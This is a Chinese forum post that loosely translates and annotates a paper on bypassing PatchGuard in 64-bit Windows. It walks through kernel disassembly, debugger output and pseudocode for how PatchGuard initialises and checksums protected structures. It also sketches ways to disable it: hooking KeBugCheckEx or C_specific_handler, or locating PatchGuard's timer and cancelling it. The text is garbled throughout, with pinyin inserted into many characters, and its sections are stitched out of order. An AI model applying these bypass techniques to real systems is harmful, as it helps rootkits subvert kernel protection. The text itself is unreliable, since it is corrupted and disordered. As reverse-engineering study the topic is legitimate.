第一,可能創(chuàng)建一個(gè)新的保護(hù)sub-context以存放nt!KeBugCheckEx()函數(shù)和其要調(diào)用的那個(gè)函數(shù)(應(yīng)該是異常處理函數(shù))的checksum。在微軟檢測(cè)到nt!KeBugCheckEx()函數(shù)被修改后,可能需要做一次hard reboot(冷啟動(dòng)?),且不調(diào)用任何外部函數(shù)。微軟要解決這個(gè)問(wèn)題的方法不多。然而,任何依賴(lài)調(diào)用地址確定的外部函數(shù)的方法都會(huì)給類(lèi)似本文的繞過(guò)技術(shù)以可乘之機(jī)~~~
第二,微軟可能在調(diào)用nt!KeBugCheckEx()函數(shù)前,采用某種有效的方法將線程結(jié)構(gòu)體中的某些字段清0。這可能會(huì)使得我們的方法失效,但其不能防止其它的方法,只是可能會(huì)費(fèi)點(diǎn)心思而已。不管怎么樣,都必須保證系統(tǒng)工作線程能回去正常處理隊(duì)列中的work items。
4.3.? ? ? ? 找出Timer(Finding the Timer)
這個(gè)方法是理論上的,還沒(méi)有測(cè)試過(guò)。這個(gè)方法就是利用一些啟發(fā)式算法來(lái)定位與PG相關(guān)聯(lián)的timer context。要設(shè)計(jì)這樣的算法,就需要知道設(shè)置timer DPC例程的方法:
第一,我們知道與DPC相關(guān)聯(lián)的DeferredRoutine()將指向以下三個(gè)函數(shù)中的一個(gè):nt!KiScanReadyQueues()、nt!ExpTimeRefreshDpcRoutine()、nt!ExpTimeZoneDpcRoutine()。不幸的是,這三個(gè)函數(shù)的地址無(wú)法直接確定,因?yàn)樗鼈儧](méi)有被導(dǎo)出。但不管怎樣,知道有這3個(gè)函數(shù),有沒(méi)有用,以后再說(shuō)。
第二,我們知道與DPC相關(guān)聯(lián)的DeferredContext將被設(shè)置成一個(gè)無(wú)效的指針。我們還知道在偏移timer結(jié)構(gòu)體起始位置0x88處存放的是一個(gè)0x1131(2個(gè)字節(jié))。通過(guò)大量的調(diào)查,還發(fā)現(xiàn)了其它一些與這個(gè)timer相關(guān)的信息(contextual references),這些足以識(shí)別出PG的timer了。
解決這個(gè)問(wèn)題的第一步是找到能夠枚舉timers的方法。在這種情況下,就需要分析timer list的這個(gè)未導(dǎo)出的地址,以便能夠枚舉出所有的活動(dòng)的timers。然而,要達(dá)到這個(gè)目的(枚舉出所有的活動(dòng)的timers),我們還有其它的間接方法,比如反匯編一些其涉及到的函數(shù)。只是這會(huì)有一個(gè)小小的問(wèn)題,就是依靠定位未導(dǎo)出符號(hào)(函數(shù)或變量)的地址的方法,可能會(huì)導(dǎo)致代碼不穩(wěn)定。
另外一個(gè)選擇(不依賴(lài)定位未導(dǎo)出符號(hào))可能就是找到一種方法,其可以找到可以被搜索的地址空間。當(dāng)然,搜索時(shí)是從nt!MmNonPagedPoolStart開(kāi)始(windows的非分頁(yè)池空間的常規(guī)區(qū)域是從此開(kāi)始的)。搜索的方法還是上面所介紹的啟發(fā)式匹配條件。給定一組正確的參數(shù)以進(jìn)行搜索,這似乎是可取的且能很確定地定位到timer結(jié)構(gòu)體。然而,這可能會(huì)遇到一個(gè)競(jìng)爭(zhēng)條件,在定位到timer的例程后,且在取消這個(gè)例程前,這個(gè)timer routine被分發(fā)執(zhí)行了,我們就不得不轉(zhuǎn)入等待狀態(tài)。要克服這個(gè)困難,進(jìn)行搜索操作的這個(gè)線程可能需要將IRQL提升到更高的級(jí)別上。當(dāng)然,在它執(zhí)行搜索的過(guò)程中,其可能禁用其它的處理器。
不管怎么樣,只要能定位到timer結(jié)構(gòu)體,要中止PG的驗(yàn)證函數(shù)和完全禁用PG,就跟調(diào)用nt!KeCancelTimer ()函數(shù)一樣簡(jiǎn)單了。如果可能,這種方法是最佳選擇,因?yàn)槠洳恍枰虼a補(bǔ)丁。
如果這種方法經(jīng)證明是行得通的,那么微軟可能采取以下兩個(gè)方法之一來(lái)防止這種方法:
第一,識(shí)別出驅(qū)動(dòng)搜索地址空間時(shí)所使用的匹配條件,且(微軟)認(rèn)為這種搜索方法是不安全的。這樣使用已存在的這些匹配參數(shù)來(lái)定位timer結(jié)構(gòu)體就不可能了。
第二,微軟可以改變引導(dǎo)PG驗(yàn)證函數(shù)執(zhí)行的機(jī)制,以致其不利于timer DPC例程。當(dāng)然,第一個(gè)方法更勝一籌。因?yàn)榈诙€(gè)方法要重新設(shè)計(jì)PG的一個(gè)很重要的機(jī)制已屬不易,更何況還要重新考慮用于隱藏PG驗(yàn)證階段的技術(shù)。
4.4.? ? ? ? 混合攔截(Hybrid Interception)
前面的方法都是阻止PG的驗(yàn)證程序執(zhí)行。前面所介紹的hook異常處理的方法我們可稱(chēng)之為事前方法(before-the-fact approach);hook nt!KeBugCheckEx()函數(shù)的方法我們可稱(chēng)之為事后方法(after-the-approach)。從理論上講,如果能有效結(jié)合以上這兩種方法,那么就可完全檢測(cè)PG驗(yàn)證程序的執(zhí)行了。
有一種可能的方法,就是hook nt!C_specific_handler ()函數(shù)。這個(gè)函數(shù)是導(dǎo)出的,如果這個(gè)函數(shù)可以被操作,對(duì)我們來(lái)說(shuō)就非常有用了。這個(gè)函數(shù)主要是為函數(shù)指定異常函數(shù)(exception handlers)。也就是說(shuō),PG是通過(guò)nt!C_specific_handler ()函數(shù)來(lái)將DeferredRoutine()指定為其DPC例程的異常函數(shù)的。那么我們Hook了這個(gè)函數(shù)后,我們就可以跟蹤異常信息并根據(jù)需要進(jìn)行過(guò)濾,以確定是否要運(yùn)行PG。
4.5.? ? ? ? 模擬熱補(bǔ)丁(Simulated Hot Patching)
這種方法,原文作者還沒(méi)研究,我這樣的菜鳥(niǎo)就飄過(guò)了~~~,有興趣的朋友可參看原文。
總結(jié)
飄過(guò),有興趣的朋友請(qǐng)參考原文~~~
參考
? ? ? ? 飄過(guò),有興趣的朋友請(qǐng)參考原文~~~(有幾個(gè)URL我沒(méi)能打開(kāi),悲催……)
1.??本文是意譯,加之本人英文水平有限、windows底層技術(shù)屬菜鳥(niǎo)級(jí)別,本文與原文存在一定誤差,請(qǐng)多包涵。
2.??由于內(nèi)容較多,從word拷貝過(guò)來(lái)排版就亂了。故你也可以下載附件。
3.??如有不明白的地方,各位雪友可通過(guò)附件中的聯(lián)系方式聯(lián)系我,同時(shí)建議各位參照原文閱讀......
【64位windows系統(tǒng)的PatchGuard】
原文:Bypassing PatchGuard on Windows x64.pdf
關(guān)于windows x64上的PatchGuard是干什么用的,我就不賣(mài)弄了。^. ^。PG的初始化代碼作為nt!KeInitSystem的一部分,早在系統(tǒng)啟動(dòng)過(guò)程中就執(zhí)行了。
3.1.? ? ? ? 初始化PG Context
PG初始化的Entry point是KiDivide6432(),而事實(shí)上,這個(gè)函數(shù)根本沒(méi)有做任何防止打補(bǔ)丁的保護(hù)(anti-patch protections)。其就完成了一個(gè)除法操作:
ULONG KiDivide6432 (
IN ULONG64 Dividend,
IN ULONG Divisor)
{
return (Dividend / Divisor );
}
這個(gè)函數(shù)看似沒(méi)用,其實(shí)是隱藏了其真實(shí)意圖!這個(gè)函數(shù)的被除數(shù)是nt!KiTestDividend(0x014b5fa3a053724c),除數(shù)是0xcb5fa3(專(zhuān)業(yè)術(shù)語(yǔ)是硬編碼,通俗講就是一個(gè)常量)。這個(gè)函數(shù)執(zhí)行后,如果返回的商與常量0x5ee0b7e5不相等, nt!KeInitSystem()就會(huì)BSoD系統(tǒng),bug check是0x5d(UNSUPPORTED_PROCESSOR),但事實(shí)上,系統(tǒng)并沒(méi)有BSoD(好戲在后頭^.^)。
這里的原理類(lèi)似在病毒中常用的一個(gè)很巧妙的方法,就是故意觸發(fā)異常,然后引導(dǎo)自己的代碼執(zhí)行。AMD64指令手冊(cè)中說(shuō),如果執(zhí)行div指令后的商溢出(商的大小為4個(gè)字節(jié)),就會(huì)產(chǎn)生一個(gè)除法錯(cuò)誤。除法錯(cuò)誤就會(huì)導(dǎo)致一個(gè)硬件異常,在內(nèi)核中處理處理這個(gè)硬件異常,會(huì)間接初始化PG子系統(tǒng)。但是,微軟為什么要怎么做呢?繼續(xù)往下看。
有意思的是全局變量nt!KiTestDividend與另一個(gè)全局變量nt!KdDebuggerNotPresent有密切聯(lián)系。即nt!KiTestDividend的最高字節(jié)取值即為nt!KdDebuggerNotPresent值。(藍(lán)色部分)
lkd> dq nt!KiTestDividend L1
fffff800‘011766e0 014b5fa3‘a(chǎn)053724c
lkd> db nt!KdDebuggerNotPresent L1
fffff800‘011766e7 01
當(dāng)然,如果系統(tǒng)設(shè)置了調(diào)試器,則KdDebuggerNotPresent為0,相應(yīng)地,KiTestDividend為0x004b5fa3a053724c,這樣得到的商就剛好是0x5ee0b7e5(0x004b5fa3a053724c÷0xcb5fa3 = 0x5ee0b7e5)(0x014b5fa3a053724c ÷0xcb5fa3 = 0x1A11F49AE 商溢出)。默認(rèn)為1。這就意味著,如果在間接初始化PG子系統(tǒng)前,系統(tǒng)掛了一個(gè)調(diào)試器,則PG子系統(tǒng)不會(huì)被初始化,因?yàn)檫@個(gè)除法錯(cuò)誤被調(diào)試器捕獲了,PG也就不起作用了。當(dāng)然,如果在PG子系統(tǒng)初始化后,再掛上調(diào)試器,設(shè)置斷點(diǎn)等操作就會(huì)BSoD了?。
理解了KiTestDividend,下一步就是了解微軟如何通過(guò)這個(gè)除法錯(cuò)誤來(lái)引導(dǎo)執(zhí)行PG子系統(tǒng)的初始化操作。這就需要從如下函數(shù)入手了:nt!KiDivideErrorFault()。注意,所有的除法錯(cuò)誤的處理都會(huì)經(jīng)過(guò)這個(gè)函數(shù)。
KiDivideErrorFault()函數(shù)經(jīng)過(guò)一系列的處理后,最終會(huì)調(diào)用nt!KiOp_Div()函數(shù)來(lái)處理這個(gè)除法錯(cuò)誤。KiOp_Div()函數(shù)貌似會(huì)處理各種各樣的除法錯(cuò)誤,如除數(shù)為0。相應(yīng)的調(diào)用堆棧如下:
kd> k
Child-SP RetAddr Call Site
fffffadf‘e4a15f90 fffff800‘010144d4 nt!KiOp_Div+0x29
fffffadf‘e4a15fe0 fffff800‘01058d75 nt!KiPreprocessFault+0xc7
fffffadf‘e4a16080 fffff800‘0104172f nt!KiDispatchException+0x85
fffffadf‘e4a16680 fffff800‘0103f5b7 nt!KiExceptionExit
fffffadf‘e4a16800 fffff800‘0142132b nt!KiDivideErrorFault+0xb7
fffffadf‘e4a16998 fffff800‘014212d3 nt!KiDivide6432+0xb
fffffadf‘e4a169a0 fffff800‘0142a226 nt!KeInitSystem+0x169
fffffadf‘e4a16a50 fffff800‘01243e09 nt!Phase1InitializationDiscard+0x93e
fffffadf‘e4a16d40 fffff800‘012b226e nt!Phase1Initialization+0x9
fffffadf‘e4a16d70 fffff800‘01044416 nt!PspSystemThreadStartup+0x3e
fffffadf‘e4a16dd0 00000000‘00000000 nt!KxStartSystemThread+0x16
KiOp_Div()函數(shù)在具體處理某個(gè)除法錯(cuò)誤前,會(huì)首先調(diào)用nt!KiFilterFiberContext()函數(shù)。這個(gè)函數(shù)的反匯編代碼如下:
nt!KiFilterFiberContext:
fffff800‘01003ac2 53 push rbx
fffff800‘01003ac3 4883ec20 sub rsp,0x20
fffff800‘01003ac7 488d0552d84100 lea rax,[nt!KiDivide6432]
fffff800‘01003ace 488bd9 mov rbx,rcx
fffff800‘01003ad1 4883c00b add rax,0xb
fffff800‘01003ad5 483981f8000000 cmp [rcx+0xf8],rax
fffff800‘01003adc 0f855d380c00 jne nt!KiFilterFiberContext+0x1d
fffff800‘01003ae2 e899fa4100 call nt!KiDivide6432+0x570
從這段代碼可看成,其是在判斷除法錯(cuò)誤發(fā)生的地址是否就是nt!KiDivide6432 + 0xb。反匯編一下,我們就能看到:
nt!KiDivide6432+0xb:
fffff800‘0142132b 41f7f0 div r8d
如果除法錯(cuò)誤就發(fā)生在KiDivide6432 + 0xb的地方,則在KiDivide6432+0x570的地方就會(huì)引用一個(gè)未命名的符號(hào)(常量:0x2d8)。這個(gè)值確定了nt!KiInitializePatchGuard()函數(shù)是否回被執(zhí)行,也正是這個(gè)函數(shù)完成了PG子系統(tǒng)的安裝。
KiInitializePatchGuard()函數(shù)本身比較龐大,其初始化了一些contexts,這些contexts將用來(lái)監(jiān)控特定的系統(tǒng)鏡像(certain system images)、SSDT、processor GDT/IDT、特定的關(guān)鍵的MSRs(certain critical MSRs)以及一些與調(diào)試相關(guān)的例程。KiInitializePatchGuard()執(zhí)行前,KiDivide6432還要做的一件事就是判斷當(dāng)前系統(tǒng)是否是以安全模式啟動(dòng)的,如果是,PG系統(tǒng)也不會(huì)啟動(dòng):
nt!KiDivide6432+0x570:
fffff800‘01423580 4881ecd8020000 sub rsp,0x2d8
fffff800‘01423587 833d22dfd7ff00 cmp dword ptr [nt!InitSafeBootMode],0x0
fffff800‘0142358e 0f8504770000 jne nt!KiDivide6432+0x580
...
nt!KiDivide6432+0x580:
fffff800‘0142ac98 b001 mov al,0x1
fffff800‘0142ac9a 4881c4d8020000 add rsp,0x2d8
fffff800‘0142aca1 c3 ret
如果系統(tǒng)不是以安全模式啟動(dòng)的,則KiInitializePatchGuard()就會(huì)開(kāi)始初始化PG子系統(tǒng)了:
(1).? ? ? ? 計(jì)算ntoskrnl.exe中的INITKDBG節(jié)的大小
?? ? ? ? 已知nt!FsRtlUninitializeSmallMcb()函數(shù)就在INITKDBG節(jié)中。
?? ? ? ? 將nt!FsRtlUninitializeSmallMcb()函數(shù)的地址傳遞給nt!RtlPcToFileHeader。
?? ? ? ? RtlPcToFileHeader在ntoskrnl.exe中搜索FsRtlUninitializeSmallMcb()后,第二個(gè)輸出參數(shù)返回一個(gè)nt基地址。
?? ? ? ? 將得到的nt基地址傳給nt!RtlImageNtHeader()函數(shù)。這個(gè)函數(shù)返回一個(gè)PIMAGE_NT_HEADERS指針。
?? ? ? ? FsRtlUninitializeSmallMcb()的RVA = FsRtlUninitializeSmallMcb()地址 – nt基地址。
?? ? ? ? 然后將nt基地址、獲得的IMAGE_NT_HEADERS地址、RVA傳遞給nt!RtlSectionTableFromVirtualAddress()函數(shù),從而計(jì)算出INITKDBG節(jié)的基地址。
kd> ? rax ? ? ? ? //別忘了,返回值在rax中
Evaluate expression: -8796076244456 = fffff800‘01000218
kd> dt nt!_IMAGE_SECTION_HEADER fffff800‘01000218
+0x000 Name : [8] "INITKDBG"? ? ? ? //我們要找的節(jié)
+0x008 Misc : <unnamed-tag>
+0x00c VirtualAddress : 0x165000
+0x010 SizeOfRawData : 0x2600
+0x014 PointerToRawData : 0x163a00
+0x018 PointerToRelocations : 0
+0x01c PointerToLinenumbers : 0
+0x020 NumberOfRelocations : 0
+0x022 NumberOfLinenumbers : 0
+0x024 Characteristics : 0x68000020
做這個(gè)操作的目的是為了迷惑并隱藏PG將執(zhí)行的代碼。INITKDBG節(jié)中的代碼會(huì)被拷貝到一個(gè)已分配好的保護(hù)上下文(allocated protection context)中。在驗(yàn)證階段,會(huì)利用這個(gè)context。
(2).? ? ? ? 定位PoolTagArray
收集完INITKDBG鏡像節(jié)的信息后,KiInitializePatchGuard()函數(shù)執(zhí)行了一個(gè)偽隨機(jī)數(shù)產(chǎn)生器(pseudo-random number generations),主要是防破解!這里是第一次,后面還有很多。這個(gè)偽隨機(jī)數(shù)產(chǎn)生器的代碼與下類(lèi)似:
fffff800‘0142362d 0f31 rdtsc??//得到CPU自啟動(dòng)以后的運(yùn)行周期
fffff800‘0142362f 488bac24d8020000 mov rbp,[rsp+0x2d8]
fffff800‘01423637 48c1e220 shl rdx,0x20
fffff800‘0142363b 49bf0120000480001070 mov r15,0x7010008004002001
fffff800‘01423645 480bc2 or rax,rdx
fffff800‘01423648 488bcd mov rcx,rbp
fffff800‘0142364b 4833c8 xor rcx,rax
fffff800‘0142364e 488d442478 lea rax,[rsp+0x78]
fffff800‘01423653 4833c8 xor rcx,rax
fffff800‘01423656 488bc1 mov rax,rcx
fffff800‘01423659 48c1c803 ror rax,0x3
fffff800‘0142365d 4833c8 xor rcx,rax
fffff800‘01423660 498bc7 mov rax,r15
fffff800‘01423663 48f7e1 mul rcx
fffff800‘01423666 4889442478 mov [rsp+0x78],rax
fffff800‘0142366b 488bca mov rcx,rdx
fffff800‘0142366e 4889942488000000 mov [rsp+0x88],rdx
fffff800‘01423676 4833c8 xor rcx,rax
fffff800‘01423679 48b88fe3388ee3388ee3 mov rax,0xe38e38e38e38e38f
fffff800‘01423683 48f7e1 mul rcx
fffff800‘01423686 48c1ea03 shr rdx,0x3
fffff800‘0142368a 488d04d2 lea rax,[rdx+rdx*8]
fffff800‘0142368e 482bc8 sub rcx,rax
fffff800‘01423691 8bc1 mov eax,ecx
產(chǎn)生的這第一個(gè)隨機(jī)數(shù)用作pool tags數(shù)組的下標(biāo)。這里的pool tags數(shù)組中的tag主要在PG分配內(nèi)存時(shí)使用。關(guān)于如何定位這個(gè)pool tags數(shù)組,以及如何利用這個(gè)隨機(jī)數(shù)索引,請(qǐng)參考以下代碼:
fffff800‘01423693 488d0d66c9bdff lea rcx,[nt]
fffff800‘0142369a 448b848100044300 mov r8d,[rcx+rax*4+0x430400] //rax中就是產(chǎn)生的隨機(jī)數(shù)
于是,PoolTagArray = nt基地址 + 0x430400;RandomPoolTagIndex = eax。注意,每個(gè)tag占4個(gè)字節(jié)。PG所用的tags如下:
lkd> db nt+0x430400
41 63 70 53 46 69 6c 65-49 70 46 49 49 72 70 20 AcpSFileIpFIIrp
4d 75 74 61 4e 74 46 73-4e 74 72 66 53 65 6d 61 MutaNtFsNtrfSema
54 43 50 63 00 00 00 00-10 3b 03 01 00 f8 ff ff TCPc.....;......
(3).? ? ? ? 分配Context
Context = ExAllocatePoolWithTag(
? ?? ?? ???NonPagedPool,
? ?? ?? ???(InitKdbgSection->VirtualSize + 0x1b8) + (RandSize & 0x7ff),
? ?? ?? ???PoolTagArray[RandomPoolTagIndex]
? ?? ???);
這個(gè)Context的結(jié)構(gòu)體稱(chēng)為PatchGuardContext,其頭部被格式化為:PATCHGUARD_CONTEXT。這個(gè)結(jié)構(gòu)體的前0x48個(gè)字節(jié)是從nt! CmpAppendDllSection()拷貝而來(lái)。這個(gè)函數(shù)的名字有一定的誤導(dǎo),其實(shí)質(zhì)是用來(lái)在運(yùn)行時(shí)解密PATCHGUARD_CONTEXT結(jié)構(gòu)體的。在將CmpAppendDllSection()函數(shù)拷貝到PATCHGUARD_CONTEXT結(jié)構(gòu)體后,KiInitializePatchGuard()函數(shù)就在PATCHGUARD_CONTEXT結(jié)構(gòu)體中存放了一組函數(shù)地址,如下圖:(注意,64位系統(tǒng)的函數(shù)地址是8個(gè)字節(jié)^.^)
KiInitializePatchGuard()函數(shù)保存好以上函數(shù)指針后,就再產(chǎn)生一個(gè)隨機(jī)數(shù),并從pool tags數(shù)組中獲取對(duì)應(yīng)的pool tag,這一個(gè)tag用于隨后的內(nèi)存分配操作,且保存在PATCHGUARD_CONTEXT結(jié)構(gòu)體的偏移為0x188處。到此時(shí)為止,就產(chǎn)生了2個(gè)隨機(jī)數(shù),在后面加密PATCHGUARD_CONTEXT結(jié)構(gòu)體時(shí)就用了這兩個(gè)隨機(jī)數(shù)。一個(gè)用作隨機(jī)循環(huán)位值(保存在PATCHGUARD_CONTEXT結(jié)構(gòu)體的偏移為0x18c處),另一個(gè)用作XOR種子(保存在PATCHGUARD_CONTEXT結(jié)構(gòu)體的偏移為0x190處)。
(4).? ? ? ? 獲取虛擬地址空間的位數(shù)
主要是調(diào)用cpuid ExtendedAddressSize (0x80000008)擴(kuò)展函數(shù)。所得的值存放在PATCHGUARD_CONTEXT結(jié)構(gòu)體的的偏移為0x1b4處。
(5).? ? ? ? 拷貝INITKDBG節(jié)
在初始化各個(gè)保護(hù)的sub-context(individual protection sub-contexts)前,要做的最后一個(gè)主要操作就是將INITKDBG節(jié)拷貝到PATCHGUARD_CONTEXT結(jié)構(gòu)體中。偽代碼如下:
memmove(
? ???(PCHAR)PatchGuardContext + sizeof(PATCHGUARD_CONTEXT),
? ???NtImageBase + InitKdbgSection->VirtualAddress,
? ???InitKdbgSection->VirtualSize);
注意:sizeof(PATCHGUARD_CONTEXT) =??0x1b8 //后文有注釋
初始化了PG的context的主要部分后,接下來(lái)就是出書(shū)啊sub-contexts了。Sub-contexts代表了PG要保護(hù)的那些特定的東東。
3.2.? ? ? ? 初始化受保護(hù)的結(jié)構(gòu)體
PG要保護(hù)的那些結(jié)構(gòu)體都有相應(yīng)的sub-context來(lái)描述。這些sub-contexts結(jié)構(gòu)體都是以PATCHGUARD_CONTEXT結(jié)構(gòu)體開(kāi)始的。初始化以下4個(gè)sub-contexts后,PG context(為區(qū)分sub-context,將其稱(chēng)為parent context)會(huì)被XOR。然后KiInitializePatchGuard()函數(shù)初始化一個(gè)timer并啟動(dòng)之。這個(gè)timer的作用是運(yùn)行驗(yàn)證PG子系統(tǒng)收集到的數(shù)據(jù)的代碼。除了以下結(jié)構(gòu)體外,KiInitializePatchGuard()函數(shù)還分配了一些其它暫時(shí)無(wú)法識(shí)別的sub-contexts結(jié)構(gòu)體,尤其是類(lèi)型為0x4和0x5的結(jié)構(gòu)體。
?? ? ? ? 保護(hù)System images的sub-context的初始化
?? ? ? ? 保護(hù)SSDT的sub-context的初始化
?? ? ? ? 保護(hù)GDT/IDT/MSRs的sub-context的初始化
?? ? ? ? 保護(hù)Debug routines的sub-context的初始化
(1).? ? ? ? 保護(hù)System images的sub-context的初始化
PG要保護(hù)的關(guān)鍵內(nèi)核鏡像(certain key kernel images)有:ntoskrnl.exe、hal.dll、ndis.sys。這些鏡像中的符號(hào)地址會(huì)傳遞給nt!PgCreateImageSubContext()函數(shù):
NTSTATUS PgCreateImageSubContext(
? ?? ?? ?? ? IN PPATCHGUARD_CONTEXT ParentContext,
? ?? ?? ?? ? IN LPVOID SymbolAddress);
對(duì)于ntoskrnl.exe,傳遞的符號(hào)地址是nt!KiFilterFiberContext的地址;對(duì)于hal.dll,傳遞的符號(hào)地址是HalInitializeProcessor的地址;對(duì)于ndis.sys,傳遞的是其入口地址,這個(gè)入口地址是通過(guò)調(diào)用nt!GetModuleEntryPoint函數(shù)獲得。PgCreateImageSubContext()函數(shù)保護(hù)這些images所采用的方法是產(chǎn)生可區(qū)分的PG sub-contexts。
第一個(gè)sub-context保存image的sections的checksum(有些例外)。第二個(gè)和第三個(gè)sub-context分別保存image的IAT和Import Directory的checksum。分配這些sub-contexts的所有例程都會(huì)調(diào)用一個(gè)共同的函數(shù)(shared routine。個(gè)人覺(jué)得將shared翻譯成“共同的”或“相同的”比“共享的”好^.^),而這個(gè)“共同的”函數(shù)負(fù)責(zé)產(chǎn)生一個(gè)用于保存一段內(nèi)存塊的checksum,主要是使用這個(gè)隨機(jī)的XOR值和保存在parent PG context結(jié)構(gòu)體中的用作隨機(jī)循環(huán)位的那個(gè)隨機(jī)數(shù)(原文是:These routines all make use of a shared routine that is responsible for generating a protection sub-context that holds the checksum for a block of memory using the random XOR key and random rotate bits stored in the parent PatchGuard context structure.)。這個(gè)函數(shù)的定義如下:
typedef struct BLOCK_CHECKSUM_STATE
{
? ?? ?ULONG Unknown;
? ?? ?ULONG64 BaseAddress;
? ?? ?ULONG BlockSize;
? ?? ?ULONG Checksum;
} BLOCK_CHECKSUM_STATE, *PBLOCK_CHECKSUM_STATE;
PPATCHGUARD_SUB_CONTEXT PgCreateBlockChecksumSubContext(
? ?? ?IN PPATCHGUARD_CONTEXT Context,
? ?? ?IN ULONG Unknown,
? ?? ?IN PVOID BlockAddress,
? ?? ?IN ULONG BlockSize,
? ?? ?IN ULONG SubContextSize,
? ?? ?OUT PBLOCK_CHECKSUM_STATE ChecksumState OPTIONAL);
BLOCK_CHECKSUM_STATE結(jié)構(gòu)體中的Unknown成員值來(lái)自nt!PgCreateBlockChecksumSubContext()函數(shù)的Unknown參數(shù),在調(diào)試的時(shí)候,這個(gè)值是0,具體有何用,未知。
PgCreateBlockChecksumSubContext()函數(shù)計(jì)算checksum的算法很簡(jiǎn)單,其偽代碼如下:
ULONG64 Checksum = Context->RandomHashXorSeed;
ULONG Checksum32;
// Checksum 64-bit blocks
while (BlockSize >= sizeof(ULONG64))
{
? ? Checksum ^= *(PULONG64)BaseAddress;
? ? Checksum = RotateLeft(Checksum, Context->RandomHashRotateBits);
? ? BlockSize -= sizeof(ULONG64);
? ? BaseAddress += sizeof(ULONG64);
}
// Checksum aligned blocks
while (BlockSize-- > 0)
{
? ? Checksum ^= *(PUCHAR)BaseAddress;
? ? Checksum = RotateLeft(Checksum, Context->RandomHashRotateBits);
? ? BaseAddress++;
}
Checksum32 = (ULONG)Checksum;
Checksum >>= 31;
do
{
? ? Checksum32 ^= (ULONG)Checksum;
? ? Checksum >>= 31;
} while (Checksum);
Checksum32就是最后得到的checksum,其會(huì)保存到BLOCK_CHECKSUM_STATE中。
為了達(dá)到初始化image sections的checksum的目的,nt!PgCreateImageSubContext()函數(shù)會(huì)調(diào)用如下函數(shù):
PPATCHGUARD_SUB_CONTEXT PgCreateImageSectionSubContext(
? ? IN PPATCHGUARD_CONTEXT ParentContext,
? ? IN PVOID SymbolAddress,
? ? IN ULONG SubContextSize,
? ? IN PVOID ImageBase);
PgCreateImageSectionSubContext()函數(shù)首先檢測(cè)nt!KiOpPrefetchPatchCount值是否為0。如果不為0,則創(chuàng)建的塊校驗(yàn)和上下文(block checksum context)就不會(huì)覆蓋image中的所有sections。否則,這個(gè)函數(shù)就會(huì)枚舉image中的所有節(jié),并為每個(gè)節(jié)都計(jì)算一個(gè)checksum,但不包括INIT、PAGEVRFY、PAGESPEC和PAGEKD這些節(jié)。
另外,PgCreateImageSectionSubContext()函數(shù)還會(huì)調(diào)用nt!PgCreateBlockChecksumSubContext()函數(shù)來(lái)計(jì)算image的IAT和Import Directory。
(2).? ? ? ? 保護(hù)SSDT的sub-context的初始化
第三方驅(qū)動(dòng)開(kāi)發(fā)者HOOK得最多的就是SSDT了。Win7 x64系統(tǒng)下SSDT表與Windows XP x86系統(tǒng)下的SSDT表不一樣(因?yàn)槲液芫脹](méi)搞SSDT HOOK了,以前搞過(guò)Windows XP x86下的SSDT HOOK,故這里以之作為比較對(duì)象^.^)。
原文中,作者獲取函數(shù)地址的公式是:dwo(nt!KiServiceTable+n)+nt!KiServiceTable(n=0,1,2…)。但在我的系統(tǒng)上用這個(gè)公式測(cè)試,卻不對(duì),應(yīng)該是系統(tǒng)版本問(wèn)題?。以下是我的公式推導(dǎo)方法:
?? ? ? ? 查看函數(shù)地址,如下:
由于作者得到的是nt!NtMapUserPhysicalPagesScatter()函數(shù),我直接在Windbg中查看該函數(shù)的地址,如下:
kd> u nt!NtMapUserPhysicalPagesScatter l1
nt!NtMapUserPhysicalPagesScatter:
fffff800`040cd190 48895c2408? ?? ?mov? ???qword ptr [rsp+8],rbx //這與原文的488bc4 mov rax,rsp也不一樣?,版本問(wèn)題?
這里得到的NtMapUserPhysicalPagesScatter()函數(shù)地址為fffff800`040cd190
?? ? ? ? 再看看nt!KiServiceTable的地址,如下:
kd> dd nt!KiServiceTable l4? ? ? ? //用這條命令的原因是作者用了dwo,所以我就順便把KisServiceTable的開(kāi)始4字節(jié)內(nèi)容顯示出來(lái)
fffff800`03cbcb00??04106900 02f6f000 fff72d00 031a0105
nt!KiServiceTable的地址 = fffff800`03cbcb00;offset = dwo(nt!KiServiceTable) = 04106900。
?? ? ? ? KiServiceTable、offset、Address三者的關(guān)系:
fffff800`040cd190 - fffff800`03cbcb00 = 410690(很眼熟??),與04106900是什么關(guān)系我就不多說(shuō)了。
所以,最后得到的公式為:(dwo(nt!KiServiceTable+n)>>4)+nt!KiServiceTable(n=0,1,2…)。這個(gè)公式與http://bbs.dbgtech.net/forum.php?mod=viewthread&tid=360一樣(看來(lái)要多逛論壇了?)。至于為什么要”>>4”,作者的沒(méi)有,以上帖子已有說(shuō)明?……
然后關(guān)于Win7 x64系統(tǒng)下的SSDT表的格式,我就不多說(shuō)了,相信你已知曉?……
PG在nt!PgCreateBlockChecksumSubContext()函數(shù)中保護(hù)了nt!KiServiceTable和nt!KeServiceDescriptorTable。關(guān)于這個(gè)函數(shù)的調(diào)用方法如下:
PgCreateBlockChecksumSubContext(
? ? ParentContext,
? ? 0,
? ? KeServiceDescriptorTable->DispatchTable, // KiServiceTable
? ? KiServiceLimit * sizeof(ULONG),
? ? 0,
NULL);
PgCreateBlockChecksumSubContext(
? ? ParentContext,
? ? 0,
? ? &KeServiceDescriptorTable,
? ? 0x20,
? ? 0,
? ? NULL);
(3).? ? ? ? 保護(hù)GDT/IDT的sub-context的初始化
GDT是用來(lái)描述內(nèi)核所使用的內(nèi)存段(memory segments)的。對(duì)惡意的應(yīng)用程序來(lái)說(shuō),GDT是有利可圖的,因?yàn)橥ㄟ^(guò)修改一些特定的GDT入口就可以讓不具有特權(quán)等級(jí)的(non-privileged)、用戶模式的應(yīng)用程序能夠修改內(nèi)核內(nèi)存。IDT對(duì)惡意的context和合法的context來(lái)說(shuō)都是很有用的。在某些情況下,第三方可能希望在特定的硬件或軟件中斷傳到內(nèi)核前就截獲它們,即hook IDT。
PG保護(hù)GDT/IDT的原理,主要是調(diào)用nt!PgCreateBlockChecksumSubContext()函數(shù)來(lái)實(shí)現(xiàn)的,當(dāng)然需傳入各自的context。由于保存GDT和IDT信息的寄存器是與給定的處理器相關(guān)聯(lián)的,那么PG就需要在每個(gè)處理器上為這2個(gè)表創(chuàng)建互不影響的context。要為給定的處理器獲取GDT和IDT的地址,PG首先調(diào)用nt!KeSetAffinityThread()函數(shù),以確保自己運(yùn)行在這個(gè)特定的處理器上。之后,PG調(diào)用nt!KiGetGdtIdt()函數(shù)來(lái)獲得GDT和IDT的基地址。這個(gè)函數(shù)的定義如下:
VOID KiGetGdtIdt(
? ? OUT PVOID *Gdt,
? ? OUT PVOID *Idt);
